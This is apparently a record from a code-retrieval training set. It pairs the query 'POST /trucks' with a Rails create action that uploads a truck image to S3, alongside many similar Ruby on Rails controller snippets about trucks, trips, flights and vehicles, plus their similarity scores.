"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def show\n render json: @vehicle\n end",
"def show\n render json: @tenure\n end",
"def trims(year, model)\n model_id = get_object_id model\n response = get_url \"Trims/#{year}/#{model_id}\"\n response_obj = JSON.parse response\n response_obj[\"GetTrimsResult\"].map{|r| Models::Vehicle.from_response_hash(r)}\n end",
"def show\n @flight = Flight.find(params[:id])\n render json: @flight\n end",
"def show\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle }\n end\n end",
"def show\n @therapist = Therapist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @therapist }\n end\n end",
"def nearby_truckers\n id = nearby_truckers_params[:id].to_i\n begin\n city = Shipment.find(id).origin_city\n truckers = Trucker.where(last_location_city: city)\n json = { truckers: truckers.map do |t|\n { id: t[:id],\n name: t[:name],\n phone: t[:phone],\n vehicle: { type: t[:vehicle_type],\n body_type: t[:vehicle_body_type] } }\n end }\n render json: json,\n status: :ok\n rescue\n render json: { error: 'Can\\'t find id: #{id}' },\n status: :unprocessable_entity\n end\n end",
"def show\r\n @truck=Truck.find(params[:id])\r\n @stock_truck=@truck.stock_truck\r\n drop_breadcrumb(t(\"stock_trucks.stock_trucks\"),stock_trucks_path)\r\n drop_breadcrumb(t(\"trucks.trucks\"),trucks_path)\r\n drop_breadcrumb(t(\"trucks.detail\"))\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @truck }\r\n end\r\n end",
"def get_trip\n\t\t@trip = Trip.find_by(_id: trip_params[:trip_id])\n\t\tif @trip\n\t\t\t@user_requests = User.where(:_id.in => @trip.user_requests).map { |user|\n\t\t\t\tuser = {\n\t\t\t\t\t_id: user.id,\n\t\t\t\t\tfirst_name: user.first_name,\n\t\t\t\t\tlast_name: user.last_name\n\t\t\t\t}\n\t\t\t}\n\t\t\t@accepted_users = User.where(:_id.in => @trip.accepted_users).map { |user| \n\t\t\t\tuser = {\n\t\t\t\t\t_id: user.id,\n\t\t\t\t\tfirst_name: user.first_name,\n\t\t\t\t\tlast_name: user.last_name\n\t\t\t\t}\n\t\t\t}\n\t\t\t@trip._id = @trip._id.to_s\n\t\t\t@driver = User.find_by(_id: @trip.driver)\n\t\t\trender json: {\n\t\t\t\tstatus: 'success',\n\t\t\t\ttrip: @trip,\n\t\t\t\tdriver: {\n\t\t\t\t\tfirst_name: @driver.first_name,\n\t\t\t\t\tlast_name: @driver.last_name,\n\t\t\t\t\trating: @driver.driver_rating\n\t\t\t\t},\n\t\t\t\tuser_requests: @user_requests,\n\t\t\t\taccepted_users: @accepted_users\n\t\t\t}, status: 200\n\t\telse\n\t\t\trender json: {\n\t\t\t\tstatus: 'error',\n\t\t\t\tmessage: 'That trip could not be found!'\n\t\t\t}, status: 422\n\t\tend\n\tend",
"def show\n # Show one record\n @maintenance = Maintenance.find(params[:id])\n # Since vehicle id can correspond to truck or trailer, we need to check which one is correct\n # which is set with vehicle type. Use the appropriate query based on the result\n if @maintenance.vehicle_type == 'truck'\n @truck = Truck.find(@maintenance.vehicle_id) rescue nil\n else\n @trailer = Trailer.find(@maintenance.vehicle_id) rescue nil\n end\n @trip = Trip.find(@maintenance.trip_id) rescue nil\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @maintenance }\n end\n end",
"def index\n @vehicles = Vehicle.all\n if @vehicles.present?\n \trender json: { vehicles: @vehicles, status: :ok }\n else\n render json: { :status => \"204\", :message => \"There is not vehicles\" }, status: :no_content\n end\n end",
"def show\n @trip_driver = TripDriver.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trip_driver }\n end\n end",
"def index\n @truck = Truck.find(params[:truck_id])\n @service_logs = ServiceLog.find_all_by_truck_id(params[:truck_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @service_logs }\n end\n end",
"def show\r\n @truck_group = TruckGroup.find(params[:id])\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @truck_group }\r\n end\r\n end",
"def index\n # Get trips for the trip type\n trips = Trip.all.where(trip_type: params[:trip_type] || 2)\n # (optional) if city_id params was provided\n trips = trips.joins(:city).where(\"cities.id = ?\", params[:city_id]) if params[:city_id]\n # (optional) if country_id params was provided\n trips = trips.joins(:city => :country).where(\"countries.id = ?\", params[:country_id]) if params[:country_id]\n # (optional) if sort params was provided\n if params[:sort]\n \n case params[:sort].downcase\n when 'popularity' # by number of bookings\n trips = trips.most_popular\n when 'rating' # by rating of reviews\n trips = trips.best_rated\n end\n\n end\n\n # Paginate\n trips = trips.page(params[:page] || 1).per(params[:per_page] || 20)\n\n render json: {\n trips: ActiveModelSerializers::SerializableResource.new(trips, each_serializer: TripSerializer),\n total: trips.total_count,\n page: trips.current_page,\n per_page: trips.limit_value\n }\n end",
"def show\n @trek = Trek.find(params[:id])\n @title = \"#{@trek.title} route\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trek }\n end\n end",
"def index\n @tunes = Tune.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tunes }\n end\n end",
"def show\n @owner = Owner.find(params[:id])\n @truck = Truck.new\n end",
"def get_trip_detail(id)\n server_response = handle_timeouts do\n get \"/1/trips/#{id}.json?locale=en\"\n end\n server_response['response']\n end",
"def index\n @cartridges = Cartridge.all\n\n respond_to do |format|\n format.html\n format.json { render json: @cartridges }\n end\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def index\n @torrents = Torrents.new(:url => \"http://newt.local:9091/transmission/rpc\").load\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @torrents }\n end\n end",
"def show\n @trip = Trips.find_trip(params[ :id ] )\n end",
"def index\n render json: reservations\n end",
"def taken\n @travels = Travels::Travel.taken.where(performer: current_user)\n\n respond_to do |format|\n format.html { render \"travels/index\" }\n format.json { as_json @travels }\n end\n end",
"def show\n\n set_no_cache\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trip }\n end\n\n end",
"def index\n if !params[:owner].blank?\n @trucks = Truck.where(truck_owner: params[:owner])\n else\n @trucks = Truck.all\n end\n end",
"def trips\n get '/gtfs/trips'\n end",
"def show\n @travel_type = TravelType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @travel_type }\n end\n end",
"def show\n @trips_connect = TripsConnect.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trips_connect }\n end\n end",
"def index\n search = TripSearch.new(search_params)\n trips = Trip.apply_scopes(\n search.start_location,\n search.driver_name,\n search.rider_name\n )\n\n render json: trips\n end",
"def show\n vehicle=Vehicle.where(uid: params[:id]).first\n render :json => {\"vehicle\"=>vehicle }\n end",
"def new\n @one_time_stop = OneTimeStop.new\n\n # if a truck id parameter is passed in, otherwise default to 1\n @one_time_stop.truck = Truck.find(params[:truck_id] || 1)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @one_time_stop }\n end\n end",
"def show\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flight }\n end\n end",
"def show\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flight }\n end\n end",
"def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end",
"def trip(trip_id)\n connection.get(\"/trips/#{trip_id}\").body\n end",
"def show\n @trap = Trap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trap }\n end\n end",
"def get_models_for_make_id\n render json: vehicle_service.get_models_for_make_id(params[:make_id])\n end",
"def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"def show\n @trompler = Trompler.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trompler }\n end\n end",
"def show\n @railway = Railway.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @railway }\n end\n end",
"def index\n @rides = Ride.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @rides\n end",
"def index\n @ducks = Duck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ducks }\n end\n end",
"def show\n @torrent = Torrents.new(:url => \"http://newt.local:9091/transmission/rpc\").find(Integer(params[:id]))\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torrent }\n end\n end",
"def index\n\t\t@flights = Flight.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @flights }\n\t\tend\n\tend",
"def show\n @trainer = Trainer.find(params[:id])\n\n render json: @trainer.as_json(only: [:name], include: [:trainees])\n end",
"def create\n @truck = Truck.new(truck_params)\n\n respond_to do |format|\n if @truck.save\n format.html { redirect_to @truck, notice: 'Truck was successfully created.' }\n format.json { render :show, status: :created, location: @truck }\n else\n format.html { render :new }\n format.json { render json: @truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @trip_routes = TripRoute.all\n end",
"def index\n @turmas = Turma.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @turmas }\n end\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def show\n @truck = Truck.new\n @marcas = @truck.get_marcas() \n @modelos = @truck.get_modelos() \n end",
"def index\n @flights = Flight.all\n\n respond_to do |format|\n format.html \n format.json { render json: @flights, :include => [:airplane, :reservations, :users, :seats] }\n end\n end",
"def index \n render json: Tuning.all\n end",
"def create\n @truck = Truck.new(truck_params)\n @marcas = @truck.get_marcas() \n @modelos = @truck.get_modelos()\n \n\n respond_to do |format|\n if @truck.save\n format.html { redirect_to @truck, notice: 'Truck was successfully created.' }\n format.json { render :show, status: :created, location: @truck }\n else\n format.html { render :new }\n format.json { render json: @truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vehicles_all\n @work_order_vehicles = WorkOrderVehicle.by_id\n render json: serialized_work_order_vehicles(@work_order_vehicles)\n end",
"def show\n @trumpet = Trumpet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trumpet }\n end\n end",
"def index\n @recipes = Recipe.all\n render json: @recipes\n end"
] |
[
"0.7787936",
"0.7317396",
"0.73098767",
"0.7035118",
"0.67179126",
"0.6693695",
"0.658614",
"0.65643275",
"0.65643275",
"0.6545474",
"0.6543067",
"0.65225375",
"0.65039456",
"0.64927155",
"0.64757264",
"0.64757264",
"0.64602107",
"0.6422839",
"0.6420908",
"0.64172846",
"0.64073217",
"0.64073217",
"0.63762504",
"0.63450515",
"0.63155144",
"0.62907064",
"0.6287798",
"0.6251681",
"0.62490475",
"0.6241442",
"0.6234829",
"0.6234371",
"0.6230197",
"0.6210664",
"0.62082946",
"0.6180184",
"0.6179611",
"0.6158467",
"0.6145322",
"0.6145322",
"0.6145322",
"0.6145322",
"0.6145322",
"0.6135203",
"0.61318326",
"0.6130199",
"0.61159843",
"0.61147666",
"0.6082871",
"0.60811913",
"0.6079432",
"0.6072962",
"0.60549587",
"0.60511565",
"0.6050894",
"0.60395944",
"0.6035201",
"0.60342646",
"0.6019776",
"0.5999787",
"0.59983194",
"0.5982574",
"0.59793586",
"0.59765154",
"0.5969476",
"0.5957911",
"0.595664",
"0.59554464",
"0.5941007",
"0.5938214",
"0.5931344",
"0.5931031",
"0.5929996",
"0.5924136",
"0.59231305",
"0.5913164",
"0.5909896",
"0.590931",
"0.5894675",
"0.5894068",
"0.5887734",
"0.58856755",
"0.5875433",
"0.5869398",
"0.5866271",
"0.5865219",
"0.58530754",
"0.5851006",
"0.58492106",
"0.5845427",
"0.58451736",
"0.5839338",
"0.583919",
"0.5826034",
"0.5823536",
"0.58117795",
"0.58081657",
"0.5803207",
"0.5802174",
"0.5800546",
"0.57986563"
] |
0.0
|
-1
|
POST /trucks POST /trucks.json
|
def create
#truck_params.merge!("truck_owner_id" => current_user.id) --- see below
#binding.pry
@truck = current_user.trucks.new(truck_params)
@file = params[:truck][:picture]
extension = file_extension @file.original_filename
filename = @truck.name.downcase.gsub(' ', '-') + "-" + current_user.id.to_s + "-" + Time.now.to_s.downcase.gsub(' ', '-').slice(0..-7) + extension
@truck.image_url = "https://s3.amazonaws.com/food-trucks/#{filename}"
#binding.pry
#binding.pry
s3 = Aws::S3::Resource.new(region:'us-east-1')
obj = s3.bucket('food-trucks').object(filename)
obj.upload_file(@file.tempfile)
respond_to do |format|
if @truck.save
format.html { redirect_to @truck, notice: 'Truck was successfully created.' }
format.json { render :show, status: :created, location: @truck }
else
format.html { render :new }
format.json { render json: @truck.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @truck = Truck.new(truck_params)\n\n respond_to do |format|\n if @truck.save\n format.html { redirect_to @truck, notice: 'Truck was successfully created.' }\n format.json { render :show, status: :created, location: @truck }\n else\n format.html { render :new }\n format.json { render json: @truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @trucks = Truck.all\n\n render json: @trucks\n end",
"def create\n @truck = Truck.new(truck_params)\n @marcas = @truck.get_marcas() \n @modelos = @truck.get_modelos()\n \n\n respond_to do |format|\n if @truck.save\n format.html { redirect_to @truck, notice: 'Truck was successfully created.' }\n format.json { render :show, status: :created, location: @truck }\n else\n format.html { render :new }\n format.json { render json: @truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trucking = Trucking.new(params[:trucking])\n\n respond_to do |format|\n if @trucking.save\n format.html { redirect_to @trucking, notice: 'Trucking was successfully created.' }\n format.json { render json: @trucking, status: :created, location: @trucking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trucking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @truck = Truck.new(params[:truck])\n if @truck.save\n flash[:notice] = 'Truck was successfully created.'\n redirect_to :back\n else\n render :action => \"new\"\n end\n end",
"def create\n\n @truck_order = TruckOrder.new(truck_order_params)\n \n respond_to do |format|\n if @truck_order.save\n format.html { redirect_to @truck_order, notice: 'Truck order was successfully created.' }\n format.json { render :show, status: :created, location: @truck_order }\n else\n format.html { render :new }\n format.json { render json: @truck_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @food_truck = FoodTruck.new(food_truck_params)\n\n respond_to do |format|\n if @food_truck.save\n format.html { redirect_to @food_truck, notice: 'Food truck was successfully created.' }\n format.json { render action: 'show', status: :created, location: @food_truck }\n else\n format.html { render action: 'new' }\n format.json { render json: @food_truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @trucks = Truck.all\n end",
"def create\n trip = current_user.trips.new(trip_params)\n if trip.save\n render json: {\n status: :created,\n trip: trip\n }\n else\n render json: {\n status: 500,\n errors: trip.errors.full_messages\n }\n end\n end",
"def truck_params\n params.require(:truck).permit(:name, :web_url, :phone_number)\n end",
"def create\n trip = Trip.create(trip_params)\n\n respond_with trip\n end",
"def create\n @opttruck = Opttruck.new(opttruck_params)\n\n respond_to do |format|\n if @opttruck.save\n format.html { redirect_to @opttruck, notice: 'Opttruck was successfully created.' }\n format.json { render :show, status: :created, location: @opttruck }\n else\n format.html { render :new }\n format.json { render json: @opttruck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = Trip.new(params[:trip])\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, :notice => 'Trip was successfully created.' }\n format.json { render :json => @trip, :status => :created, :location => @trip }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @trip.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n begin\n Twitter.user_timeline(params[:foodtruck][:handle])\n Foodtruck.create(params[:foodtruck])\n redirect_to '/foodtrucks'\n rescue\n redirect_to '/foodtrucks/new'\n end\n end",
"def create\n @flight = Flight.new(params[:flight])\n\n if @flight.save\n render json: @flight, status: :created, location: @flight\n else\n render json: @flight.errors, status: :unprocessable_entity\n end\n end",
"def show\n render json: @truck\n end",
"def create\n @trucker = TruckerService.save(trucker_params)\n if response\n render json: @trucker, status: :created, location: [:api, @trucker]\n else\n render json: @trucker, status: :unprocessable_entity\n end\n end",
"def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def truck_params\n params.require(:truck).permit(:name, :start_time, :end_time )\n end",
"def new\n @trucking = Trucking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trucking }\n end\n end",
"def create\n @vehicle = Vehicle.new(vehicle_params)\n if @vehicle.save\n render json: { status: 'Vehicle created successfully', vehicle: @vehicle }, status: :created\n else\n render json: { errors: @vehicle.errors.full_messages }, status: :bad_request\n end\n end",
"def create\n travel = Travel.new(travel_params)\n if travel.save\n render json: travel, status: 201, location: travel # :created\n\n # if you do not want to send back\n # render nothing: true, status: 204, location: travel\n else\n render json: travel.errors, status: 422 # :unprocessable_entity\n end\n end",
"def index\n vehicle_id = params[:vehicle_id]\n shift_date = Date.today\n\n begin\n @shifts = Shift.by_vehicle_and_date(vehicle_id, shift_date)\n rescue\n errors = \"Error\"\n render json: errors.to_json, status: 400\n return\n end\n\n respond_with(@shifts)\n\n # render json: trips, status: :ok\n end",
"def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to trips_path, notice: 'Cesta byla vytvořena.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n err_objs=[]\n error=false\n user_id=MobileDevice.where(:access_token=>params[:access_token]).first.user_id\n if params.has_key?('trips')\n params[:trips].each do |trip|\n trip_id=trip[1][:trip_id] #save ref to trip id in case @trip.save fails (used in return response)\n if !create_trip(trip[1],user_id)\n error=true\n err_objs.push(trip_id)\n end\n end\n else\n error=true\n end\n respond_to do |format|\n if !error\n format.json { render json: {:msg => \"success\"}, status: :created }\n else\n format.json { render json: {:msg => \"Could not save the following trips. Please check that all required fields are filled out (license_plate, cargo, start_location, end_location, start_timestamp, end_timestamp)\", :err_ids => err_objs}, status: :unprocessable_entity }\n end\n end\n end",
"def index\n\t\t[:s, :f].each do |k|\n\t\t\tunless params[k].nil?\n\t\t\t\tn = params[k]\n\t\t\t\t(@p ||= {})[k] = Target.get_from_id_type( n[:id], n[:type] ) unless n[:id].nil? || n[:type].nil?\n\t\t\t\t@p[k] ||= Yard.where( :city => n[:city] ) if n[:type] == \"yard\"\n\t\t\tend # unless no k\n\t\tend # each k\n\t\tunless @p.nil?\n\t\t\t@trucks = Truck.to_and_from( @p[:f], @p[:s] ) unless @p[:f].nil? || @p[:s].nil?\n\t\t\t@trucks ||= Truck.from(@p[:s]) unless @p[:s].nil?\n\t\t\t@trucks ||= Truck.to(@p[:f]) unless @p[:f].nil?\n\t\t\t# raise \"NO TRUCK ERROR\" if @trucks.empty?\n\t\t\t@trucks.each do |truck|\n\t\t\t\traise \"why nil? #{truck.to_json}\" if truck.destination.at.nil?\t\n\t\t\tend # each nil check\n\t\telse\n\t\t\t@trucks ||= Truck.order(\"price ASC\").limit(10)\n\t\tend # unless p nil\n\t\trespond_to do |f|\n\t\t\tf.json { render \"truck\", :handler => [\"json_builder\"] }\n\t\t\tf.js\n\t\tend # respond_to f\n\tend",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to current_user, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { redirect_to current_user, notice: \"Trip can't be created\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def index\n @trucks = Truck.all\n\n if params[:name]\n @trucks = @trucks.where(name: params[:name])\n end\n\n if params[:category]\n category = Category.find_by_name(params[:category])\n @trucks = Truck.includes(:categories).where(categories: {name: params[:category]})\n end\n\n if params[:location]\n location = Location.find_by_name(params[:location])\n @trucks = Truck.includes(:locations).where(locations: {name: params[:location]})\n end\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @trucks.as_json({}) }\n end\n end",
"def create\n @trash_wheel = TrashWheel.new(trash_wheel_params)\n\n respond_to do |format|\n if @trash_wheel.save\n format.html { redirect_to @trash_wheel, notice: 'Trash wheel was successfully created.' }\n format.json { render :show, status: :created, location: @trash_wheel }\n else\n format.html { render :new }\n format.json { render json: @trash_wheel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trip = current_user.trips.new(params[:trip].except(:places))\n params[:trip][:places] ||= []\n @trip.add_trip_places(params[:trip][:places])\n if @trip.save\n flash[:notice] = \"Trip succesfully created\"\n redirect_to @trip\n else\n flash.now[:error] = @trip.errors.full_messages\n @places = params[:trip][:places]\n render \"new\"\n end\n end",
"def trips\n flight = Flight.where(\"id = ?\", params[:id]).take\n if flight.nil?\n render :json => {errors: \"404\"}, :status => 404\n else\n respond_with( flight.trips )\n end\n end",
"def create\n @truck_payment = TruckPayment.new(truck_payment_params)\n\n respond_to do |format|\n if @truck_payment.save\n format.html { redirect_to @truck_payment, notice: 'Truck payment was successfully created.' }\n format.json { render :show, status: :created, location: @truck_payment }\n else\n format.html { render :new }\n format.json { render json: @truck_payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_trip\n # Only attempt to create trip if all the necessary pieces are there\n return false unless @itinerary && @trip && @service && @user\n \n label = request_label(:book, trip_id)\n \n @http_request_bundler.add(\n label, \n @url + \"/create_trip\", \n :post,\n head: headers,\n body: body_for_booking(@booking_options).to_json\n ).response!(label)\n end",
"def index\n @trucks = Truck.all\n # @locations = Location.all\n end",
"def nearby_truckers\n id = nearby_truckers_params[:id].to_i\n begin\n city = Shipment.find(id).origin_city\n truckers = Trucker.where(last_location_city: city)\n json = { truckers: truckers.map do |t|\n { id: t[:id],\n name: t[:name],\n phone: t[:phone],\n vehicle: { type: t[:vehicle_type],\n body_type: t[:vehicle_body_type] } }\n end }\n render json: json,\n status: :ok\n rescue\n render json: { error: 'Can\\'t find id: #{id}' },\n status: :unprocessable_entity\n end\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def create_vehicles vehicle\n self.create_vehicle(:four_wheeler => vehicle[:four_wheeler],:two_wheeler => vehicle[:two_wheeler],:none => vehicle[:none])\n end",
"def index\n trips = Trip.all\n render json: trips\n end",
"def create\n @tenure = Tenure.new(params[:tenure])\n\n respond_to do |format|\n if @tenure.save\n format.html { redirect_to @tenure, notice: 'Tenure was successfully created.' }\n format.json { render json: @tenure, status: :created, location: @tenure }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tenure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tour = Tour.new(tour_params)\n extract_packages\n extract_dates\n respond_to do |format|\n if @tour.save\n extract_accomodations\n extract_prices\n extract_transportations\n manage_uploads\n format.html { redirect_to \"/tours/#{@tour.uuid}\", notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @truck = Truck.new(truck_params)\n\n driver = Driver.find_by id_number: params[:driver_id_number]\n turn_boy = TurnBoy.find_by id_number: params[:turn_boy_id_number]\n owner = TruckOwner.find_by id_number: params[:owner_id_number]\n\n if driver.nil?\n driver = Driver.create! id_number: params[:driver_id_number], phone_number: params[:driver_phone_number], name: params[:driver_name], address: params[:driver_address]\n end\n\n if turn_boy.nil?\n turn_boy = TurnBoy.create! id_number: params[:turnboy_id_number], phone_number: params[:turnboy_phone_number], name: params[:turnboy_name], address: params[:turnboy_address]\n end\n\n if owner.nil?\n owner = TruckOwner.create! id_number: params[:owner_id_number], phone_number: params[:owner_phone_number], name: params[:owner_name], address: params[:owner_address], entity_type: params[:owner_type]\n end\n\n @truck.truck_owner = owner\n\n respond_to do |format|\n if @truck.save\n truck_driver = TruckDriver.find_or_create_by! driver: driver, truck: @truck\n truck_driver.update(active: true, salary: params[:driver_salary])\n truck_turn_boy = TruckTurnBoy.find_or_create_by! turn_boy: turn_boy, truck: @truck\n truck_turn_boy.update(active: true, salary: params[:turn_boy_salary])\n format.html { redirect_to new_truck_path, notice: 'Truck was successfully created.' }\n format.json { render :show, status: :created, location: @truck }\n else\n format.html { render :new }\n format.json { render json: @truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @trips = Trip.all\n render :json => @trips\n end",
"def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n\n @client = GooglePlaces::Client.new(\"AIzaSyDslRFZO4CcrhN9M9gchkS0VKLWrOB8J_Y\")\n\n # @attractions = JSON.parse(@trip.tag).join(' ')\n places = @client.spots_by_query(\"tourist landmark in #{@trip.location} \", :radius => @trip.location_radius, :exclude => 'lodging')\n\n # https://maps.googleapis.com/maps/api/place/textsearch/json?query=points+of+interest+for+tourists+in+aberdeen&radius=5000&key=AIzaSyCsJcCSDOx5fdOlmWagQZabLeAe6EGxNSI\n\n places.take(@trip.sightsnum).each do |place|\n if place.photos[0]\n photo_url = place.photos[0].fetch_url(800)\n end\n p = @trip.places.create :name => place.name, :google_id => place.place_id, :latitude => place.lat, :longitude => place.lng, :photo_url => photo_url\n end\n\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trek = Trek.new(params[:trek])\n\n respond_to do |format|\n if @trek.save\n format.html { redirect_to @trek, notice: 'Trek was successfully created.' }\n format.json { render json: @trek, status: :created, location: @trek }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trek.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n runway = qx_take_off_params[:runway].split(\"/\")\n runway.each do |item|\n qx_take_off_params[:runway_id] = Qx::Runway.get_runay_id(qx_take_off_params[:airport_id], item)\n @qx_take_off = Qx::TakeOff.new(qx_take_off_params)\n end\n\n\n p runway\n\n respond_to do |format|\n if @qx_take_off.save\n format.html { redirect_to @qx_take_off, notice: 'Take off was successfully created.' }\n format.json { render :show, status: :created, location: @qx_take_off }\n else\n format.html { render :new }\n format.json { render json: @qx_take_off.errors, status: :unprocessable_entity }\n end\n end\n end",
"def repair_order_create\n\n @business_id = current_business_user.id\n @client_id = current_client.id\n @repair_order = current_vehicle.repair_orders.new(\n repair_order_number: params[:repair_order_number],\n client_id: @client_id,\n business_user_id: @business_id)\n if @repair_order.save\n render json: { repair_order: @repair_order.as_json(include: :client),\n vehicle: @repair_order.as_json(include: :vehicle) },\n status: :created\n else\n render json: { errors: @repair_order.errors.full_messages },\n status: :unprocessable_entity\n end\n end",
"def create\n @trip_item = TripItem.new(params[:trip_item])\n\n respond_to do |format|\n if @trip_item.save\n format.html { redirect_to @trip_item, notice: 'Trip item was successfully created.' }\n format.json { render json: @trip_item, status: :created, location: @trip_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n user_from_api_key = User.find_by(api_key: request.headers[:apiKey])\n return render json: {rides: [], message: \"Access denied\"}, status: :unauthorized if user_from_api_key.nil?\n\n departure_place = params[:departure_place]\n departure_threshold = params[:departure_place_threshold].to_i\n destination = params[:destination]\n destination_threshold = params[:destination_threshold].to_i\n if params.has_key?(:departure_time)\n departure_time = Time.zone.parse(params[:departure_time])\n end\n user = User.find_by(api_key: request.headers[:apiKey])\n ride_type = params[:ride_type].to_i\n\n if user.nil?\n return render json: {:message => \"User not found\"}, status: :not_found\n else\n # add this search to table ride_searches which is displayed as a timeline\n user.ride_searches.create!(departure_place: departure_place, destination: destination,\n departure_time: departure_time, ride_type: ride_type)\n end\n\n rides = Ride.rides_nearby departure_place, departure_threshold, destination,\n destination_threshold, departure_time, ride_type\n\n\n if rides.count > 0\n render json: {:rides => rides, each_serializer: RideSerializer}, status: :ok\n else\n render json: {:rides => []}, status: :no_content\n end\n\n end",
"def create\n @turistum = Turistum.new(turistum_params)\n\n respond_to do |format|\n if @turistum.save\n format.html { redirect_to @turistum, notice: 'Turistum was successfully created.' }\n format.json { render :show, status: :created, location: @turistum }\n else\n format.html { render :new }\n format.json { render json: @turistum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @trip = current_user.trips.build\n 5.times {@trip.places.build}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trip }\n end\n end",
"def trucks\n FoodTruck.find(truck_ids)\n end",
"def create\n @travel = Travel.new(travel_params)\n\n respond_to do |format|\n if @travel.save\n format.html { redirect_to @travel, notice: \"Travel was successfully created.\" }\n format.json { render :show, status: :created, location: @travel }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tickets = []\n params[:quantity].to_i.times do\n @ticket = Ticket.new(params[:ticket])\n @ticket.viber = current_viber\n @tickets << @ticket\n end\n\n respond_to do |format|\n if @tickets.map(&:save)\n format.html { redirect_to @ticket, notice: 'Your ticket(s) are booked.' }\n format.json { render json: @ticket, status: :created, location: @ticket }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ticket.errors, status: :unprocessable_entity }\n end\n end\n end",
